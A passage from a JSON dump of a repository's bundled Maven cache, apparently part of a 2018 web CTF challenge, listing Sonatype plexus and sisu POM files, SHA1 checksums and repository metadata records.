t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t</plugins>\n\t\t\t</build>\n\t\t</profile>\n\t</profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/oss/oss-parent/3/oss-parent-3.pom.sha1",
    "content": "31e7e4502123f2f7b42b4e426146f9efc8e94110"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nplexus-build-api-0.0.4.jar>central=\nplexus-build-api-0.0.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.jar.sha1",
    "content": "8fdcf45c2fad3052a51385fdfc79753d9124a1a7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.pom",
    "content": "<!-- \nCopyright (c) 2008 Sonatype, Inc. All rights reserved.\n\nThis program is licensed to you under the Apache License Version 2.0, \nand you may not use this file except in compliance with the Apache License Version 2.0. \nYou may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n\nUnless required by applicable law or agreed to in writing, \nsoftware distributed under the Apache License Version 2.0 is distributed on an \n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \nSee the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>10</version>\n  </parent>\n  <groupId>org.sonatype.plexus</groupId>\n  <artifactId>plexus-build-api</artifactId>\n  <version>0.0.4</version>\n  \n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.5.8</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration>\n              <source>1.4</source>\n              <target>1.4</target>\n          </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.4.2</version>\n        <configuration>\n          <skipTests>true</skipTests>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <scm>\n    <connection>scm:svn:http://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4</connection>\n    <developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4</developerConnection>\n    <url>http://svn.sonatype.org/spice/tags/plexus-build-api-0.0.4</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-build-api/0.0.4/plexus-build-api-0.0.4.pom.sha1",
    "content": "df389a276b6c493bcea1937339b29145a7ce99bf"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-cipher-1.4.jar>central=\nplexus-cipher-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar.sha1",
    "content": "50ade46f23bb38cd984b4ec560c46223432aac38"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom",
    "content": "<?xml version=\"1.0\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>12</version>\n  </parent>\n  \n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.sonatype.plexus</groupId>\n  <artifactId>plexus-cipher</artifactId>\n  <url>http://spice.sonatype.org/${project.artifactId}</url>\n  \n  <name>Plexus Cipher: encryption/decryption Component</name>\n  <version>1.4</version>\n  \n  <distributionManagement>\n    <site>\n      <id>sonatype.org-sites</id>\n      <url>${spiceSiteBaseUrl}/${project.artifactId}</url>\n    </site>\n  </distributionManagement>\n  \n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.5</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n    </dependency>\n  </dependencies>\n\n  <scm>\n    <connection>scm:svn:http://svn.sonatype.org/spice/tags/plexus-cipher-1.4</connection>\n    <developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/plexus-cipher-1.4</developerConnection>\n    <url>http://svn.sonatype.org/spice/tags/plexus-cipher-1.4</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom.sha1",
    "content": "8c0bee97c1badb926611bf82358e392fedc07764"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-sec-dispatcher-1.3.jar>central=\nplexus-sec-dispatcher-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar.sha1",
    "content": "dedc02034fb8fcd7615d66593228cb71709134b4"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom",
    "content": "<?xml version=\"1.0\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>12</version>\n  </parent>\n  \n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.sonatype.plexus</groupId>\n  <artifactId>plexus-sec-dispatcher</artifactId>\n  <url>http://spice.sonatype.org/${project.artifactId}</url>\n  \n  <name>Plexus Security Dispatcher Component</name>\n  <version>1.3</version>\n  \n  <distributionManagement>\n    <site>\n      <id>sonatype.org-sites</id>\n      <url>${spiceSiteBaseUrl}/${project.artifactId}</url>\n    </site>\n  </distributionManagement>\n  \n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.5</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin\n        </artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/settings-security.mdo</model>\n          </models>\n        </configuration>\n        <executions>\n          <execution>\n            <id>standard</id>\n            <goals>\n              <goal>java</goal>\n              <goal>xpp3-reader</goal>\n              <goal>xpp3-writer</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  \n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-cipher</artifactId>\n      <version>1.4</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n    </dependency>\n  </dependencies>\n\n  <scm>\n    <connection>scm:svn:http://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3</connection>\n    <developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3</developerConnection>\n    <url>http://svn.sonatype.org/spice/tags/plexus-sec-dispatcher-1.3</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom.sha1",
    "content": "b953c3a84a7d3f2a7f606e18c07ee38fb6766e3d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:16 CST 2018\nguice-bean-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.sisu</groupId>\n    <artifactId>sisu-inject</artifactId>\n    <version>1.4.2</version>\n  </parent>\n\n  <packaging>pom</packaging>\n\n  <groupId>org.sonatype.sisu.inject</groupId>\n  <artifactId>guice-bean</artifactId>\n\n  <name>Guice - Bean</name>\n\n  <modules>\n    <module>guice-bean-reflect</module>\n    <module>guice-bean-inject</module>\n    <module>guice-bean-scanners</module>\n    <module>guice-bean-converters</module>\n    <module>guice-bean-locators</module>\n    <module>guice-bean-binders</module>\n    <module>guice-bean-containers</module>\n    <module>sisu-inject-bean</module>\n  </modules>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-reflect</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-inject</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-scanners</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-converters</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-locators</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-binders</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-bean-containers</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-bean</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom.sha1",
    "content": "11c2c29c95aa9c9d636ac349b33b49de1190deaf"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:16 CST 2018\nguice-plexus-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <relativePath>../guice-bean</relativePath>\n    <groupId>org.sonatype.sisu.inject</groupId>\n    <artifactId>guice-bean</artifactId>\n    <version>1.4.2</version>\n  </parent>\n\n  <packaging>pom</packaging>\n\n  <artifactId>guice-plexus</artifactId>\n\n  <name>Guice - Plexus</name>\n\n  <modules>\n    <module>guice-plexus-metadata</module>\n    <module>guice-plexus-scanners</module>\n    <module>guice-plexus-converters</module>\n    <module>guice-plexus-locators</module>\n    <module>guice-plexus-binders</module>\n    <module>guice-plexus-shim</module>\n    <module>sisu-inject-plexus</module>\n  </modules>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.4</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>2.2.3</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>2.0.5</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-metadata</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-scanners</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-converters</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-locators</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-binders</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-shim</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu.inject</groupId>\n        <artifactId>guice-plexus-tck</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-plexus</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom.sha1",
    "content": "9b167556a64cb79acea3a8dbf6c2f580e2699d2b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nsisu-guice-2.1.7-noaop.jar>central=\nsisu-guice-2.1.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7-noaop.jar.sha1",
    "content": "8cb56e976b8e0e7b23f2969c32bef7b830c6d6ed"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>6</version>\n  </parent>\n\n  <packaging>pom</packaging>\n\n  <groupId>org.sonatype.sisu</groupId>\n  <artifactId>sisu-guice</artifactId>\n  <version>2.1.7</version>\n\n  <name>Sisu - Guice</name>\n\n  <description>Guice trunk with some patches applied for Sisu</description>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/sisu-guice.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/sisu-guice.git</developerConnection>\n    <url>git@github.com:sonatype/sisu-guice.git</url>\n  </scm>\n\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <symbolic.name>${project.groupId}.${project.artifactId}</symbolic.name>\n    <build.dir>${project.build.directory}</build.dir>\n    <noaop.dir>${project.build.directory}/no_aop</noaop.dir>\n    <forgeReleaseUrl>https://repository.sonatype.org/service/local/staging/deploy/maven2</forgeReleaseUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>javax.inject</groupId>\n      <artifactId>javax.inject</artifactId>\n      <version>1</version>\n    </dependency>\n    <dependency>\n      <groupId>aopalliance</groupId>\n      <artifactId>aopalliance</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>asm</groupId>\n      <artifactId>asm</artifactId>\n      <version>3.2</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n      <version>1.6.1</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.felix</groupId>\n      <artifactId>org.apache.felix.framework</artifactId>\n      <version>3.0.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>build-helper-maven-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <redirectTestOutputToFile>true</redirectTestOutputToFile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>compile</id>\n            <phase>compile</phase>\n            <configuration>\n              <tasks>\n\n                <property name=\"external.compile.classpath\" refid=\"maven.compile.classpath\" />\n                <property name=\"asm.jar\" value=\"${maven.dependency.asm.asm.jar.path}\" />\n\n                <property name=\"build.dir\" value=\"${build.dir}\" />\n                <property name=\"build.compiler\" value=\"extJavac\" />\n                <property name=\"version\" value=\"${project.version}\" />\n\n                <property name=\"Bundle-SymbolicName\" value=\"${symbolic.name}\" />\n                <property name=\"Bundle-Name\" value=\"${project.artifactId}\" />\n                <property name=\"Bundle-Vendor\" value=\"Sonatype Inc.\" />\n\n                <ant>\n                  <target name=\"jar\" />\n                </ant>\n\n                <ant>\n                  <target name=\"no_aop\" />\n                </ant>\n\n                <ant dir=\"${noaop.dir}\">\n                  <property name=\"build.dir\" value=\"${noaop.dir}\" />\n                  <property name=\"Bundle-SymbolicName\" value=\"${symbolic.name}-noaop\" />\n                  <property name=\"Bundle-Name\" value=\"${project.artifactId}-noaop\" />\n                  <target name=\"jar\" />\n                </ant>\n\n              </tasks>\n            </configuration>\n            <goals>\n              <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>attach-jars</id>\n            <phase>package</phase>\n            <goals>\n              <goal>attach-artifact</goal>\n            </goals>\n            <configuration>\n              <artifacts>\n                <artifact>\n                  <file>${build.dir}/dist/guice-${project.version}.jar</file>\n                </artifact>\n                <artifact>\n                  <file>${noaop.dir}/dist/guice-${project.version}.jar</file>\n                  <classifier>noaop</classifier>\n                </artifact>\n              </artifacts>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>test</id>\n      <activation>\n        <property>\n          <name>!maven.test.skip</name>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>test</id>\n                <phase>test</phase>\n                <configuration>\n                  <tasks>\n\n                    <property name=\"external.compile.classpath\" refid=\"maven.test.classpath\" />\n                    <property name=\"asm.jar\" value=\"${maven.dependency.asm.asm.jar.path}\" />\n\n                    <property name=\"aopalliance.jar\" value=\"${maven.dependency.aopalliance.aopalliance.jar.path}\" />\n                    <property name=\"javax.inject.jar\" value=\"${maven.dependency.javax.inject.javax.inject.jar.path}\" />\n                    <property name=\"felix.jar\" value=\"${maven.dependency.org.apache.felix.org.apache.felix.framework.jar.path}\" />\n                    <property name=\"junit.jar\" value=\"${maven.dependency.junit.junit.jar.path}\" />\n\n                    <property name=\"build.dir\" value=\"${build.dir}\" />\n                    <property name=\"build.compiler\" value=\"extJavac\" />\n                    <property name=\"version\" value=\"${project.version}\" />\n\n                    <property name=\"Bundle-SymbolicName\" value=\"${symbolic.name}\" />\n                    <property name=\"Bundle-Name\" value=\"${project.artifactId}\" />\n                    <property name=\"Bundle-Vendor\" value=\"Sonatype Inc.\" />\n\n                    <ant>\n                      <target name=\"test.dist\" />\n                    </ant>\n\n                    <ant dir=\"${noaop.dir}\">\n                      <property name=\"build.dir\" value=\"${noaop.dir}\" />\n                      <property name=\"Bundle-SymbolicName\" value=\"${symbolic.name}-noaop\" />\n                      <property name=\"Bundle-Name\" value=\"${project.artifactId}-noaop\" />\n                      <target name=\"test.dist\" />\n                    </ant>\n\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>sources</id>\n                <phase>package</phase>\n                <configuration>\n                  <tasks>\n\n                    <property name=\"external.compile.classpath\" refid=\"maven.compile.classpath\" />\n\n                    <property name=\"build.dir\" value=\"${build.dir}\" />\n                    <property name=\"build.compiler\" value=\"extJavac\" />\n                    <property name=\"version\" value=\"${project.version}\" />\n\n                    <ant>\n                      <target name=\"source.jar\" />\n                      <target name=\"javadoc\" />\n                    </ant>\n\n                    <zip destfile=\"${build.dir}/guice-${project.version}-doc.jar\">\n                      <zipfileset dir=\"${build.dir}/javadoc\" />\n                    </zip>\n\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>build-helper-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>attach-artifact</goal>\n                </goals>\n                <configuration>\n                  <artifacts>\n                    <artifact>\n                      <file>${build.dir}/guice-${project.version}-src.jar</file>\n                      <classifier>sources</classifier>\n                    </artifact>\n                    <artifact>\n                      <file>${build.dir}/guice-${project.version}-doc.jar</file>\n                      <classifier>javadoc</classifier>\n                    </artifact>\n                  </artifacts>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom.sha1",
    "content": "f690b118b2c3ca4cf400a558e6d000a971fd8d98"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:17 CST 2018\nsisu-inject-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.sisu</groupId>\n    <artifactId>sisu-parent</artifactId>\n    <version>1.4.2</version>\n  </parent>\n\n  <packaging>pom</packaging>\n\n  <artifactId>sisu-inject</artifactId>\n\n  <name>Sisu - Dependency Injection</name>\n\n  <modules>\n    <module>guice-bean</module>\n    <module>guice-plexus</module>\n  </modules>\n\n  <properties>\n    <sisu.guice.version>2.1.7</sisu.guice.version>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-guice</artifactId>\n        <version>${sisu.guice.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-guice</artifactId>\n        <version>${sisu.guice.version}</version>\n        <classifier>noaop</classifier>\n      </dependency>\n\n    </dependencies>\n  </dependencyManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom.sha1",
    "content": "780340415a1dc940f10ae38a7b32e84db28c95dd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nsisu-inject-bean-1.4.2.jar>central=\nsisu-inject-bean-1.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.jar.sha1",
    "content": "5cf37202afbaae899d63dd51b46d173df650af1b"
  },
  {
